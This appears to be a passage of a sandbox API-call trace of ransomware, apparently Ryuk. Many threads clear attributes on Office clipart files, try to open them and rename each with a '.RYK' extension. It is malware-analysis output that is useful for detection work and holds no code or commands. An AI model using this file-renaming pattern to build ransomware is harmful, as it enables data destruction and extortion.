	[0259.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3077
	os_tid = 0x3504

	[0259.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF", dwFileAttributes=0x80) returned 0
	[0259.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.936] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3078
	os_tid = 0x3508

	[0259.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF", dwFileAttributes=0x80) returned 0
	[0259.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.938] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3079
	os_tid = 0x350c

	[0259.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF", dwFileAttributes=0x80) returned 0
	[0259.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.941] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3084
	os_tid = 0x3524

	[0259.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF", dwFileAttributes=0x80) returned 0
	[0259.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.943] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3085
	os_tid = 0x3528

	[0259.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF", dwFileAttributes=0x80) returned 0
	[0259.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.945] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.945] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3086
	os_tid = 0x352c

	[0259.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", dwFileAttributes=0x80) returned 0
	[0260.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.126] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3087
	os_tid = 0x3530

	[0259.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF", dwFileAttributes=0x80) returned 0
	[0260.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.128] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3088
	os_tid = 0x3534

	[0259.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF", dwFileAttributes=0x80) returned 0
	[0259.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.949] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.950] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3089
	os_tid = 0x3538

	[0259.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF", dwFileAttributes=0x80) returned 0
	[0260.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.131] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3090
	os_tid = 0x353c

	[0259.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF", dwFileAttributes=0x80) returned 0
	[0260.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.132] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.133] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3091
	os_tid = 0x3540

	[0259.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF", dwFileAttributes=0x80) returned 0
	[0260.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.134] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3092
	os_tid = 0x3544

	[0259.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF", dwFileAttributes=0x80) returned 0
	[0260.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.136] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3093
	os_tid = 0x3548

	[0259.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF", dwFileAttributes=0x80) returned 0
	[0260.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.138] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3094
	os_tid = 0x354c

	[0259.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF", dwFileAttributes=0x80) returned 0
	[0260.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.140] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3095
	os_tid = 0x3550

	[0259.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF", dwFileAttributes=0x80) returned 0
	[0260.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.142] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.142] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3096
	os_tid = 0x3554

	[0260.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF", dwFileAttributes=0x80) returned 0
	[0260.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.145] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3097
	os_tid = 0x3558

	[0260.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF", dwFileAttributes=0x80) returned 0
	[0260.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.148] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3098
	os_tid = 0x355c

	[0260.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF", dwFileAttributes=0x80) returned 0
	[0260.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.151] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.151] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3099
	os_tid = 0x3560

	[0260.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF", dwFileAttributes=0x80) returned 0
	[0260.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.498] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3100
	os_tid = 0x3564

	[0260.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF", dwFileAttributes=0x80) returned 0
	[0260.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.726] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3101
	os_tid = 0x3568

	[0260.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF", dwFileAttributes=0x80) returned 0
	[0260.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.728] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3102
	os_tid = 0x356c

	[0260.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF", dwFileAttributes=0x80) returned 0
	[0260.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.729] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3103
	os_tid = 0x3570

	[0260.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF", dwFileAttributes=0x80) returned 0
	[0260.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.753] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.753] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3104
	os_tid = 0x3574

	[0260.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF", dwFileAttributes=0x80) returned 0
	[0260.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.163] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3105
	os_tid = 0x3578

	[0260.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF", dwFileAttributes=0x80) returned 0
	[0260.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.166] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3106
	os_tid = 0x357c

	[0260.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF", dwFileAttributes=0x80) returned 0
